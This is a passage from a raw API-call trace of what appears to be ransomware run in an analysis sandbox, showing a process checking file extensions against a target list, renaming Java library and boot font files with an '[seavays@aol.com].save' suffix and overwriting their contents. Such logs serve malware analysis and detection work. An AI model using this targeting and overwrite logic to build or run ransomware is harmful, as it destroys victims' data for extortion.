dwMoveMethod=0x3b6fc74 | out: lpNewFilePointer=0x0) returned 1 [0211.940] WriteFile (in: hFile=0x36c, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b6fc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3b6fc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.945] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc74 | out: lpNewFilePointer=0x0) returned 1 [0211.945] WriteFile (in: hFile=0x36c, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b6fc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3b6fc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0211.950] CloseHandle (hObject=0x36c) returned 1 [0211.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0211.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.951] lstrlenW (lpString=".doc") returned 4 [0211.951] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0211.951] lstrlenW (lpString=".docx") returned 5 [0211.951] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0211.951] lstrlenW (lpString=".pdf") returned 4 [0211.951] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0211.951] lstrlenW (lpString=".xls") returned 4 [0211.951] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0211.951] lstrlenW (lpString=".xlsx") returned 5 [0211.951] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0211.951] lstrlenW (lpString=".ppt") returned 4 [0211.951] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0211.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.951] lstrlenW (lpString=".zip") returned 4 [0211.951] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0211.951] lstrlenW (lpString=".rar") returned 4 [0211.951] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0211.951] lstrlenW (lpString=".bz2") returned 4 [0211.951] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0211.951] lstrlenW (lpString=".7z") returned 3 [0211.951] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0211.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.952] lstrlenW (lpString=".dbf") returned 4 [0211.952] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0211.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.952] lstrlenW (lpString=".1cd") returned 4 [0211.952] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0211.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.952] lstrlenW (lpString=".jpg") returned 4 [0211.952] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0211.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.952] lstrlenW (lpString=".doc") returned 4 [0211.952] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0211.952] lstrlenW (lpString=".docx") returned 5 [0211.952] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0211.952] lstrlenW (lpString=".pdf") returned 4 [0211.952] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0211.952] lstrlenW (lpString=".xls") returned 4 [0211.952] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0211.952] lstrlenW (lpString=".xlsx") returned 5 [0211.952] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0211.952] lstrlenW (lpString=".ppt") returned 4 [0211.953] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0211.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.953] lstrlenW (lpString=".zip") returned 4 [0211.953] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0211.953] lstrlenW (lpString=".rar") returned 4 [0211.953] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0211.953] lstrlenW (lpString=".bz2") returned 4 [0211.953] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0211.953] lstrlenW (lpString=".7z") returned 3 [0211.953] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0211.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.953] lstrlenW (lpString=".dbf") returned 4 [0211.953] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0211.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.953] lstrlenW (lpString=".1cd") returned 4 [0211.953] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0211.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0211.953] lstrlenW (lpString=".jpg") returned 4 [0211.953] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0211.954] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0211.954] lstrlenW (lpString="nashorn.jar") returned 11 [0211.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.954] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=2022734) returned 1 [0211.955] CloseHandle (hObject=0x36c) returned 1 [0211.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0211.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0211.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0211.957] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.957] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc64 | out: lpNewFilePointer=0x0) returned 1 [0211.957] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fc24 | out: lpNewFilePointer=0x0) returned 1 [0211.957] ReadFile (hFile=0x36c, lpBuffer=0x4018058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b6fc30, lpOverlapped=0x0) Thread: id = 102 os_tid = 0x44c [0205.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3590988 [0205.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x35a0990 [0205.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616600 [0205.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e5b8 [0205.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616510 [0205.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x4129020 [0205.710] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616738 [0205.710] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616738, Size=0x20) returned 0x5fe9e0 [0205.710] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616618 [0205.711] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616618, Size=0x20) returned 0x5fed28 [0205.711] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.711] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.711] Wow64DisableWow64FsRedirection (in: OldValue=0x3caff50 | out: OldValue=0x3caff50*=0x0) returned 1 [0205.711] lstrlenW (lpString="kernel32.dll") returned 12 [0205.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.711] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.711] Sleep (dwMilliseconds=0x64) [0205.993] Sleep (dwMilliseconds=0x64) [0206.267] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.267] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0206.267] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.600] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=164347) returned 1 [0206.600] CloseHandle (hObject=0x33c) returned 1 [0206.600] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0206.600] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.600] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.601] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.601] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.601] lstrlenW (lpString=".doc") returned 4 [0206.601] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.601] lstrlenW (lpString=".docx") returned 5 [0206.601] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.601] lstrlenW (lpString=".pdf") returned 4 [0206.601] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.601] lstrlenW (lpString=".xls") returned 4 [0206.601] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.601] lstrlenW (lpString=".xlsx") returned 5 [0206.601] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.601] lstrlenW (lpString=".ppt") returned 4 [0206.601] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.601] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.601] lstrlenW (lpString=".zip") returned 4 [0206.601] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.601] lstrlenW (lpString=".rar") returned 4 [0206.601] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.601] lstrlenW (lpString=".bz2") returned 4 [0206.601] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.601] lstrlenW (lpString=".7z") returned 3 [0206.601] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString=".dbf") returned 4 [0206.602] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString=".1cd") returned 4 [0206.602] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString=".jpg") returned 4 [0206.602] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString=".doc") returned 4 [0206.602] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString=".docx") returned 5 [0206.602] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.602] lstrlenW (lpString=".pdf") returned 4 [0206.602] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString=".xls") returned 4 [0206.602] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.602] lstrlenW (lpString=".xlsx") returned 5 [0206.602] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.602] lstrlenW (lpString=".ppt") returned 4 [0206.602] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.602] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.602] lstrlenW (lpString=".zip") returned 4 [0206.603] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.603] lstrlenW (lpString=".rar") returned 4 [0206.603] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.603] lstrlenW (lpString=".bz2") returned 4 [0206.603] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.603] lstrlenW (lpString=".7z") returned 3 [0206.603] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.603] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.603] lstrlenW (lpString=".dbf") returned 4 [0206.603] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.603] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.603] lstrlenW (lpString=".1cd") returned 4 [0206.603] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.603] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0206.603] lstrlenW (lpString=".jpg") returned 4 [0206.603] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.603] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.603] lstrlenW (lpString="segmono_boot.ttf") returned 16 [0206.603] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.604] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=44859) returned 1 [0206.604] CloseHandle (hObject=0x33c) returned 1 [0206.604] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0206.604] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.604] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.605] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.605] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.605] lstrlenW (lpString=".doc") returned 4 [0206.605] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.605] lstrlenW (lpString=".docx") returned 5 [0206.605] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.605] lstrlenW (lpString=".pdf") returned 4 [0206.605] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.605] lstrlenW (lpString=".xls") returned 4 [0206.605] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.605] lstrlenW (lpString=".xlsx") returned 5 [0206.605] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.605] lstrlenW (lpString=".ppt") returned 4 [0206.605] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.605] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.605] lstrlenW (lpString=".zip") returned 4 [0206.605] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.605] lstrlenW (lpString=".rar") returned 4 [0206.605] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.605] lstrlenW (lpString=".bz2") returned 4 [0206.605] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.605] lstrlenW (lpString=".7z") returned 3 [0206.605] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.605] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.605] lstrlenW (lpString=".dbf") returned 4 [0206.605] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.606] lstrlenW (lpString=".1cd") returned 4 [0206.606] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.606] lstrlenW (lpString=".jpg") returned 4 [0206.606] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.606] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.606] lstrlenW (lpString=".doc") returned 4 [0206.606] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString=".docx") returned 5 [0206.606] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.606] lstrlenW (lpString=".pdf") returned 4 [0206.606] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString=".xls") returned 4 [0206.606] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.606] lstrlenW (lpString=".xlsx") returned 5 [0206.606] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.606] lstrlenW (lpString=".ppt") returned 4 [0206.606] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.606] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.606] lstrlenW (lpString=".zip") returned 4 [0206.606] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.606] lstrlenW (lpString=".rar") returned 4 [0206.606] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.607] lstrlenW (lpString=".bz2") returned 4 [0206.607] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.607] lstrlenW (lpString=".7z") returned 3 [0206.607] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.607] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.607] lstrlenW (lpString=".dbf") returned 4 [0206.607] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.607] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.607] lstrlenW (lpString=".1cd") returned 4 [0206.607] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.607] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0206.607] lstrlenW (lpString=".jpg") returned 4 [0206.607] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.607] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.607] lstrlenW (lpString="segoen_slboot.ttf") returned 17 [0206.607] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.608] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=85862) returned 1 [0206.608] CloseHandle (hObject=0x33c) returned 1 [0206.608] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0206.608] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.608] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.609] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.609] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.609] lstrlenW (lpString=".doc") returned 4 [0206.609] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString=".docx") returned 5 [0206.609] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.609] lstrlenW (lpString=".pdf") returned 4 [0206.609] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString=".xls") returned 4 [0206.609] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.609] lstrlenW (lpString=".xlsx") returned 5 [0206.609] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.609] lstrlenW (lpString=".ppt") returned 4 [0206.609] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.609] lstrlenW (lpString=".zip") returned 4 [0206.609] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.609] lstrlenW (lpString=".rar") returned 4 [0206.609] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString=".bz2") returned 4 [0206.609] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString=".7z") returned 3 [0206.609] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.609] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.609] lstrlenW (lpString=".dbf") returned 4 [0206.609] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.609] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.609] lstrlenW (lpString=".1cd") returned 4 [0206.610] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.610] lstrlenW (lpString=".jpg") returned 4 [0206.610] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.610] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.610] lstrlenW (lpString=".doc") returned 4 [0206.610] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString=".docx") returned 5 [0206.610] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.610] lstrlenW (lpString=".pdf") returned 4 [0206.610] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString=".xls") returned 4 [0206.610] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.610] lstrlenW (lpString=".xlsx") returned 5 [0206.610] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.610] lstrlenW (lpString=".ppt") returned 4 [0206.610] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.610] lstrlenW (lpString=".zip") returned 4 [0206.610] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.610] lstrlenW (lpString=".rar") returned 4 [0206.610] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.610] lstrlenW (lpString=".bz2") returned 4 [0206.611] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.611] lstrlenW (lpString=".7z") returned 3 [0206.611] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.611] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.611] lstrlenW (lpString=".dbf") returned 4 [0206.611] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.611] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.611] lstrlenW (lpString=".1cd") returned 4 [0206.611] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.611] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0206.611] lstrlenW (lpString=".jpg") returned 4 [0206.611] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.611] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.611] lstrlenW (lpString="segoe_slboot.ttf") returned 16 [0206.611] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.612] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=86178) returned 1 [0206.612] CloseHandle (hObject=0x33c) returned 1 [0206.612] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 